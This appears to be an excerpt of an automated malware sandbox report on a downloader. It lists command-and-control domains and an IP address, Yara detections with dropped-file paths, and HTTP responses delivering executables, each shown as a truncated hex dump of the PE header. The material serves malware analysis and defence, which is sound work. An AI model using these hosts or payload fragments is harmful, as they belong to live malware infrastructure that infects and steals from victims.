Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: 44.0.fae24101ae.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:56:10 GMTContent-Type: application/octet-streamContent-Length: 4453888Last-Modified: Wed, 18 Dec 2024 13:39:03 GMTConnection: keep-aliveETag: "6762d077-43f600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 d0 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 b6 00 00 04 00 00 a5 60 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 b5 b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 b5 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 38 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 63 73 62 6b 66 6b 77 00 80 1b 00 00 40 9a 00 00 7a 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 75 68 6f 70 69 6d 00 10 00 00 00 c0 b5 00 00 06 00 00 00 ce 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 b5 00 00 22 00 00 00 d4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:56:22 GMTContent-Type: application/octet-streamContent-Length: 1846784Last-Modified: Wed, 18 Dec 2024 14:25:18 GMTConnection: keep-aliveETag: "6762db4e-1c2e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 c0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 48 00 00 04 00 00 15 79 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 73 62 6a 73 70 64 6a 00 b0 19 00 00 00 2f 00 00 a8 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 72 64 75 65 71 74 70 00 10 00 00 00 b0 48 00 00 04 00 00 00 08 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 48 00 00 22 00 00 00 0c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:56:31 GMTContent-Type: application/octet-streamContent-Length: 2874880Last-Modified: Wed, 18 Dec 2024 14:25:29 GMTConnection: keep-aliveETag: "6762db59-2bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 89 96 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 70 64 6c 78 64 72 6d 00 40 2a 00 00 c0 24 00 00 3c 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 73 6a 74 7a 62 68 6c 00 10 00 00 00 00 4f 00 00 04 00 00 00 b8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4f 00 00 22 00 00 00 bc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:56:41 GMTContent-Type: application/octet-streamContent-Length: 972800Last-Modified: Wed, 18 Dec 2024 14:23:24 GMTConnection: keep-aliveETag: "6762dadc-ed800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cd da 62 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 28 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 63 ac 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 cc 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 cc 6c 01 00 00 40 0d 00 00 6e 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 62 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:56:48 GMTContent-Type: application/octet-streamContent-Length: 1809920Last-Modified: Wed, 18 Dec 2024 14:23:51 GMTConnection: keep-aliveETag: "6762daf7-1b9e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 48 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 48 00 00 04 00 00 92 28 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2c 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 78 74 67 6c 71 7a 6c 00 40 1b 00 00 c0 2c 00 00 3e 1b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 76 6d 6c 6d 71 6a 72 00 20 00 00 00 00 48 00 00 04 00 00 00 78 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 48 00 00 22 00 00 00 7c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:56:57 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 14:56:58 GMTContent-Type: application/octet-streamContent-Length: 1809920Last-Modified: Wed, 18 Dec 2024 14:23:53 GMTConnection: keep-aliveETag: "6762daf9-1b9e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 48 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 48 00 00 04 00 00 92 28 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2c 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 78 74 67 6c 71 7a 6c 00 40 1b 00 00 c0 2c 00 00 3e 1b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 76 6d 6c 6d 71 6a 72 00 20 00 00 00 00 48 00 00 04 00 00 00 78 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 48 00 00 22 00 00 00 7c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
